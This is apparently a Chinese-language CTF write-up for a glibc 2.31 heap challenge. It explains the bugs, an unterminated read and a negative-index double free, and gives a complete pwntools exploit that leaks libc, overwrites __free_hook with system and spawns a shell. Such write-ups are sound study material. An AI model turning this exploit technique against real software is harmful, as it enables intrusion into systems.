pwn1
这一题算是比较常规的题目,重点在mmap的利用上
漏洞挖掘
通过IDA可以看出两个漏洞点。
一个是add
函数中read
没有截断,能够带出arena
的地址。
还有一个就是
delete
函数中没有检查下标的下界,不过释放之后,指针会置零。还有一个值得注意的是初始化函数中
note
是用mmap分配的。查资料可以知道mmap分配的内存在动态链接库和堆之间,由高位向低位分配(由于紧贴动态链接库,可以拿来leak libc的基地址,但这题用的不是这个),还有就是使用
malloc
申请一个很大的内存时,会调用mmap申请内存,且mmap申请的内存之间偏移固定。
漏洞利用
leak libc部分可以利用unsorted bin
+read
没有截断。
get shell部分这里利用的是double free。一次free是自带的free,还有一次free是通过leak堆地址,写入mmap地址中,再利用负数下标进行free。
exp
from pwn import *
context.log_level = "debug"
# context.terminal = ["alacritty", "-e"]
context.terminal = ["tmux", "splitw", "-h"]
p = process("./pwn1")
libc = ELF("./libc-2.31.so")
elf = ELF("./pwn1")
def add(size, content):
p.sendlineafter(b'>>', b'1')
p.sendlineafter(b'size', bytes(str(size), "ascii"))
p.sendafter(b'content', content)
def delete(index):
p.sendlineafter(b'>>', b'2')
p.sendafter(b'index', bytes(str(index), "ascii"))
def view(index):
p.sendlineafter(b'>>', b'3')
p.sendlineafter(b'index', bytes(str(index), "ascii"))
# leak address
for i in range(11):
add(0x100, b'aaa')
for i in range(7):
delete(i)
# 这里中间需要有chunk分隔,不然会合并。
delete(7)
delete(9)
## leak heap
add(0x90, b'aaaaaaa\n')
view(0)
p.recvuntil(b'\n')
heap_addr = u64(p.recv(6).ljust(8, b'\x00')) + 0xF0
print(hex(heap_addr))
## leak libc
add(0x90, b'aaaaaaa\n')
view(1)
p.recvuntil(b'\n')
arena_addr = u64(p.recv(6).ljust(8, b'\x00')) - 352
print(hex(arena_addr))
libc_base = arena_addr - libc.symbols["__malloc_hook"] - 0x10
system_addr = libc_base + libc.symbols["system"]
free_hook = libc_base + libc.symbols["__free_hook"]
delete(0)
delete(1)
delete(8)
delete(10)
add(0x22000, p64(heap_addr)) #申请大内存要在构造fastbin链之前,不然fastbin链会被放入smallbin中,具体原因还没学习。
for i in range(10):
add(0x30, b'aaa')
for i in range(9):
delete(i + 1)
print(hex(heap_addr))
delete(-17918)
for i in range(7):
add(0x30, b'/bin/sh')
add(0x30, p64(free_hook))
add(0x30, b'aaa')
add(0x30, b'aaa')
add(0x30, p64(system_addr))
delete(1)
p.interactive()
pwn2
这一题是用了musl libc,还没复现。
不知道为什么程序跑不起来,先鸽了。